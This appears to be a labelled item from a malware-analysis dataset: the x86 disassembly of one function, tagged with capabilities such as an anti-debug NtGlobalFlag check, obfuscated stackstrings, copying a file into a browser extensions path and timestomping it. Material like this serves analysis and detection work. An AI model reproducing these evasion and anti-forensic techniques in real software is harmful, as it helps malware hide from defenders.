Function at 0x1008fb90
Capabilities:
Check for peb ntglobalflag flag
Check if file exists
Contain obfuscated stackstrings
Copy file
Timestomp file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10090b1b
mov eax, dword fs:[0]
push eax
sub esp, 0x278
mov eax, dword [0x100af440]
xor eax, esp
mov dword [esp + 0x270], eax
push ebx
push esi
push edi
mov eax, dword [0x100af440]
xor eax, esp
push eax
lea eax, [esp + 0x288]
mov dword fs:[0], eax
mov eax, ecx
mov dword [esp + 0x14], eax
push dword [eax + 0x974]
mov edi, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea ebx, [eax + 0x974]
lea esi, [eax + 0x20]
push esi
push edi
lea eax, [esp + 0x44]
push eax
mov dword [esp + 0x28], ecx
mov ecx, dword [ebp + 0x18]
lea eax, [esp + 0x7c]
push eax
mov dword [esp + 0x30], ecx
mov word [esp + 0x54], 0x782e
mov dword [esp + 0x4d], 0x73255c73
mov word [esp + 0x57], 0x69
mov word [esp + 0x52], 0x7325
mov byte [esp + 0x51], 0x5c
mov byte [esp + 0x4c], 0x25
mov byte [esp + 0x56], 0x70
call fcn.10021c10
add esp, 0x14
lea eax, [esp + 0x174]
push esi
push edi
push 0x10099fb4
push eax
call fcn.10021c10
add esp, 0x10
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x5b], 0x69465c61
mov dword [esp + 0x61], 0x5c786f46
mov word [esp + 0x52], 0x6572
mov word [esp + 0x6b], 0x6f69
mov word [esp + 0x5f], 0x6572
mov word [esp + 0x66], 0x7478
mov word [esp + 0x56], 0x7a6f
mov word [esp + 0x4f], 0x7774
mov word [esp + 0x6e], 0x73
mov word [esp + 0x59], 0x6c6c
mov word [esp + 0x54], 0x4d5c
mov byte [esp + 0x58], 0x69
mov word [esp + 0x4c], 0x6f53
mov word [esp + 0x69], 0x736e
mov byte [esp + 0x68], 0x65
mov byte [esp + 0x51], 0x61
mov byte [esp + 0x6d], 0x6e
mov byte [esp + 0x4e], 0x66
mov byte [esp + 0x65], 0x65
call fcn.1000c340
mov esi, dword [esp + 0x14]
lea eax, [esp + 0x6c]
push eax
push 0x104
lea ecx, [esi + 0x978]
mov dword [esp + 0x298], 0
call fcn.1000ceb0
push eax
push 0x104
lea ecx, [esp + 0x1c]
call fcn.1000ceb0
push eax
push reloc.WS2_32.dll_bind
call fcn.1008fe00
push 0xffffffffffffffff
mov ecx, ebx
call fcn.1000cf30
push 0xffffffffffffffff
lea ecx, [esp + 0x14]
call fcn.1000cf30
lea eax, [esp + 0x6c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1008fd47
lea ecx, [esp + 0x10]
call fcn.1000c400
xor eax, eax
jmp 0x1008fdd8
push 0
lea eax, [esp + 0x70]
push eax
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
call fcn.1008f5d0
push dword [esp + 0x1c]
lea eax, [esp + 0x70]
push eax
sub esp, 8
mov ecx, esi
call fcn.1008ff90
test eax, eax
je 0x1008fdca
push 0
push 0
push 3
push 0
push 0
push 0x40000000
lea eax, [esp + 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1008fdca
lea eax, [esp + 0x20]
push eax
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x10]
call fcn.1000c400
mov eax, 1
mov ecx, dword [esp + 0x288]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x270]
xor ecx, esp
call fcn.10061e3f
mov esp, ebp
pop ebp
ret 0x18